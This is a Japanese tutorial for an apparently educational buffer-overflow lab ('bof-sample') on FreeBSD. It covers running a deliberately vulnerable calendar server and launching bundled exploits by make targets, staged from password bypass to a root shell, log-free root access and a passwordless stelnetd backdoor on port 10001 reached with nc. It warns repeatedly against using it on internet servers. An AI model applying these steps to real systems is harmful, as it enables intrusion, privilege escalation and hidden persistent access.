チュートリアル

■ ローカルでカレンダープログラムを動かしてみる

まず,カレンダープログラムをローカルで実行してみてください.
% cd bof-sample/FreeBSD/bin
% make local

起動するとユーザ名を聞いてきます.

% make local
LANG=C ./calendar user pass 0
Input username and password, uid
is changed, the calendar of
the user is output, and flush
the buffer.

Username:
calendarの起動時に第1引数で指定されているユーザ名(上の例では「user」) を入力すると,パスワードを聞いてきます.
Username: user
Valid username: user
Checked username: user
Password:
第2引数で指定されているパスワードを入力すると,カレンダーが表示されます.
Password: pass
Login OK
Checked password
user calendar
    October 2016
Su Mo Tu We Th Fr Sa
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31
% 

■ ネットワーク経由でカレンダープログラムを動かしてみる

calendarをそのまま起動すると,標準入出力が利用されます. 簡易inetd(sinetd)を使うことで,ネットワークサーバにできます.
% cd bof-sample/FreeBSD/bin
% make server
安全のために標準では,ローカルホストからの接続しか受け付けないように なっています.

(注意)
bof-sample-1.0のsinetdは,オプション無しで起動すると全ての接続を受け付け ますが,Makefile中の「SINETD_OPT」の指定(-h 127.0.0.1)により接続制限が ローカルホストのみにかけられています.SINETD_OPTの定義を無効にすることで, ネットワーク経由で別PCから接続することも可能にできます.

bof-sample-1.1以降のsinetdでは安全のため,オプション無しで起動したときには ローカルホストのみの接続を受け付けるようにビルドされています.Makefile中の 「SERVER」の定義を 0.0.0.0 に変更することで,やはりネットワーク経由で別PC から接続することも可能にできます.

ただしこれらを行うと,ネットワークサーバとして「脆弱性のあるプログラムが」 動作することになります.インターネット上にあるサーバなどで安易に実施しない ように注意してください.

このようにして起動することで,ポート10000で待ち受けします.

以下のようにtelnetで接続することで,ネットワーク経由でカレンダーを 出力できます.

% telnet localhost 10000

■ 検証準備(サーバ側準備)

(注意)以下はbof-sample-1.1以降での検証方法です.bof-sample-1.0ではMakefileが あまり整備されていないので,以下のようにうまくできないかもしれません. Makefileを読んでうまいことやるか,bof-sample-1.1を利用してください.

(注意) calendar は make により実行ファイルを再作成するとアドレス体系が 変わってしまい添付のExploitデータが使えなくなってしまうので, 添付の calendar をそのまま使うこと.

まず,ローカルで検証するか,ネットワーク経由で検証するか,決めてください.

さらに,root権限でシェル起動するところまで検証するか,決めてください (rootでプログラム実行する必要性が出てきます). root権限にならなくても,ひととおりの検証はできます. (シェル起動したときに,root権限にならずに一般ユーザのままで起動するだけです)

■ ネットワーク経由で検証する場合(共通)

接続先を限定したい場合には,SERVER や SINETD_OPT の定義を調整してください.

% cd bof-sample/FreeBSD/bin
% vi Makefile

■ ネットワーク経由で,一般ユーザ権限で検証する場合

以下でネットワークサーバを起動してください.

% make server

■ ネットワーク経由で,root権限で検証する場合

Makefile中の「USERID」に何らかの一般ユーザのユーザIDを指定してください. (そのユーザにsetuid()で切り替わってプログラム実行されます)

% cd bof-sample/FreeBSD/bin
% vi Makefile

rootで以下を実行することで,サーバ起動してください.

% su
# make rootserver

(注意)
脆弱性がありrootでシェル起動できるサーバを起動することになります.
インターネット上にあるサーバなどで実行するのは大変危険です. ローカルのネットワーク環境などで実施してください.

■ 検証準備(Exploit側準備)

■ ローカルで,root権限で検証する場合

Exploit方法を調整してください.

% cd bof-sample/FreeBSD/exploit
% vi Makefile

EXPLOITの定義を以下のように変更してください.

#EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) 0
EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) $(USERID)
#EXPLOIT = $(NETCAT) $(SERVER) $(PORT)

■ ネットワーク経由で検証する場合

Exploit方法を調整してください.

% cd bof-sample/FreeBSD/exploit
% vi Makefile
SERVER にサーバのIPアドレスを指定してください. (ホスト名でなくIPアドレスでの指定が必要です)

EXPLOITの定義を以下のように変更してください.

#EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) 0
#EXPLOIT = LANG=C ../bin/calendar $(USER) $(PASSWORD) $(USERID)
EXPLOIT = $(NETCAT) $(SERVER) $(PORT)

■ 検証

以下のようにしてExploitを検証できます.

ローカルでroot権限で検証したい場合には,スーパーユーザになって makeを実行してください. (ネットワーク経由の場合は,rootで起動するのはサーバ側なので, スーパーユーザでmakeを実行する必要はありません)

% cd bof-sample/FreeBSD/exploit
% make user    ... (第1段階)ユーザ名チェックのすり抜け
% make pass    ... (第2段階)パスワードチェックのすり抜け
% make ls      ... (第3段階)パスワードすり抜けし登録済みコマンド(ls)を実行
% make ps      ... (第3段階)パスワードすり抜けし登録済みコマンド(ps)を実行
% make who     ... (第4段階)パスワードすり抜けし既存関数を実行(whoコマンド実行)
% make id      ... (第5段階)パスワードすり抜けし既存関数を任意引数で実行(idコマンド実行)
% make sh      ... (第5段階)パスワードすり抜けし既存関数を任意引数で実行(シェル起動)
% make root    ... (第6段階)root権限でシェル起動
% make nolog   ... (第7段階)root権限でシェル起動しログを汚さない
% make telnetd ... (第8段階)簡易telnetdを/tmpに転送
make telnetd すると,サーバの/tmpにstelnetdが置かれます. make nolog でログインして以下のように起動すると, ポート10001でバックドアが開けます.
/tmp/stelnetd 10001

(注意) パスワード無しで誰でもログインできるバックドアが開きます. サーバ上で安易に実行しないこと!インターネット上にあるサーバでは 「絶対に」実行しないこと!

検証目的でローカルホストからの接続のみ受け付けたい場合には, 以下のようにして起動します. (bof-sample-1.1からは,sinetd同様に,デフォルトではローカルホストからの接続 のみの動作に変更してあります)

/tmp/stelnetd -h 127.0.0.1 10001
起動したら以下のようにしてnetcatで接続できます. (制御文字の処理をしていないため,telnetクライアントでは接続できません)
% nc 192.168.1.1 10001
もしくは簡易netcatを使って,以下のようにします.
% cd bof-sample/FreeBSD/bin
% ./snetcat 192.168.1.1 10001